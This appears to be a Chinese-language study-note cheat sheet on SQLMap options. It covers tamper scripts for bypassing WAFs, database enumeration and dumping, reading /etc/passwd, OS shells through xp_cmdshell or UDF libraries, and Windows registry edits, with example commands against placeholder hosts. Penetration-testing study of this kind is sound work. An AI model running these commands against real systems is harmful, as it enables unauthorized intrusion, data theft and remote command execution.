SQLMap自动注入-General等其余参数

SQLMap自动注入-Injection

  • -p
    • 指定扫描的参数,使–level失效
    • -p “user-agent,referer”
  • –skip
    • 排除指定的扫描参数
    • –level=5 –skip=”id,user-agent”
  • uri注入点
  • –dbms=”mysql”
  • –os
    • Linux
    • Windows
  • –invalid-bignum/–invalid-logical
    • 通常sqlmap使用负值使参数取值失效 id=13->id=-13
    • bignum使用大数使参数时效,id=99999999
    • logical使用布尔判断使参数失效,id=13 and 19
  • –no-cast
    • 榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换null
    • 老版本数据库开启此开关
  • –no-escape
    • 出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串
    • select ‘foo’ –> select char(102)+char(111)+char(111)
    • 本参数将关闭此功能
  • –prefix/–suffix
    • 比如服务器端代码是$query = “select * from users where id = (‘“.$_GET[‘id’]”.”‘) limit 0,1”;
    • sqlmap -u “http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id –prefix “‘)’” –suffix “and (‘abc’=’abc”
    • 注入后:query=”select * from users where id=(‘1’) <PAYLOAD> and (‘abc’=’abc’) limit 0,1”;
  • –tamper(实际渗透测试中经常使用的)
    • 混淆脚本,用于绕过应用层过滤、IPS、WAF
    • sqlmap -u “xxxxx” –tamper=”between.py,randomcase.py,spcae2comment.py”

SQLMap自动注入-Detection

  • –level

    • 1-5级(默认1)
    • /usr/share/sqlmap/data/xml/payloads#
  • –risk

    • 1-4(默认1/无害)

    • Risk升高可造成数据被篡改等风险

  • –string,–not-string,–regexp,–code,–text-only,–titles

    • 页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间变化,此时需要人为指定标志真假的条件。

SQLMap自动注入-Techniques

  • 默认使用全部技术

    • B:Boolean-based blind
    • E:Error-based
    • U:Union query-based
    • S:Stacked queries(文件系统,操作系统、注册表必须)
    • T:Time-Based blind
  • –time-sec

    • 基于时间的注入检测相应延迟时间(默认5秒)
  • –union-cols

    • 默认联合查询1-10列,随–level增加最多支持50列
    • –union-cols 6-9
  • –union-char

    • 对于不需要查询的,联合查询默认使用null,极端情况下null可能失败,此时可以手动指定数值
    • –union-char 123
  • –dns-domain

    • 攻击者控制了某dns服务器,使用此功能提高数据榨取的速度
    • –dns-domain xxxxx.com
  • –second-order

    • 在一个页面注入的结果,从另一个页面体现出来
    • –second-order http://1.1.1.1/b.php

SQLMap自动注入-Fingerprint

  • -f,–fingerprint,-b,–banner
    • DBMS指纹信息
    • DBMS,操作系统,架构,补丁

SQLMap自动注入-Enumration

  • –current-user
    • 查询当前DBMS账号
  • –current-db
  • –hostname
  • –users
  • –privileges -U username(可以不跟 -U)
  • –roles
  • –dbs
    • -D database –tables
    • -D database -T table –colums
    • -D database -T table -C colum –columns
    • –exclude-sysdbs
    • –count
    • –schema
    • –batch所有需要选择的都使用默认
  • Dump数据
    • –dump,-C,-T,-D,–start,–stop
    • –dump-all
    • –sql-query ‘’select * from users’’

SQLMap自动注入-BruteForce

  • 当无权读取information_schema库时
  • 微软的access数据库,默认无权读取MSysObjects库
  • –common-tables(爆破表名)
  • –common-columns(爆破列名,Access系统表无列信息)

SQLMap自动注入-User Defined Function Injections

  • –udf-inject,–shared-lib
    • 编译共享库创建并上传至DBServer,以此生成UDF实现高级注入
    • Linux:shared object
    • Windows:DLL

SQLMap自动注入-FileSystem

  • –file-read=”/etc/passwd”
  • –file-write=”/path/file” –file-dest “/tmp/file”

SQLMap自动注入-OS

  • Mysql、postgresql

    • 上传共享库并生成sys_exec()、sys_eval()两个udf
  • mssql

    • xp_cmdshell存储过程(漏洞)(有就用,禁了启,没有建)
  • –os-cmd

  • –os-shell

  • –sql-shell

SQLMap自动注入-WindowsRegistory

  • –reg-read
  • –reg-add
  • –reg-del
  • –reg-key、–reg-value、–reg-data、–reg-type
  • sqlmap -u=”http://1.1.1.1/a.php?id=1" –reg-add –reg-key=”HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1

SQLMap自动注入-General

  • -s:sqllite会话文件保存位置

    • 默认保存在~/.sqlmap/output
  • -t:记录流量文件保存位置

  • –charset:强制字符编码

    • –charset=GBK
  • –crawl:从起始位置爬站深度

    • –batch –crawl=3
  • –csv-del:dump数据默认存于“,”分割的CSV文件中,指定其它分隔符

    • –csv-del”;”
  • –dbms-cred:指定数据库账号(credential)

  • –flush-session:清除缓存,再查就是重新查询

  • –force-ssl:访问https

  • –fresh-quries:直接重新查,不清缓存

  • –hex:dump非ASCII字符内容时,将其编码为16进制,收到后解码还原

  • –parse-errors:分析和显示数据库内建报错信息

  • –save:将命令保存成配置文件

    • 指定保存位置

SQLMap自动注入-Miscellaneous

  • -z:参数帮助记符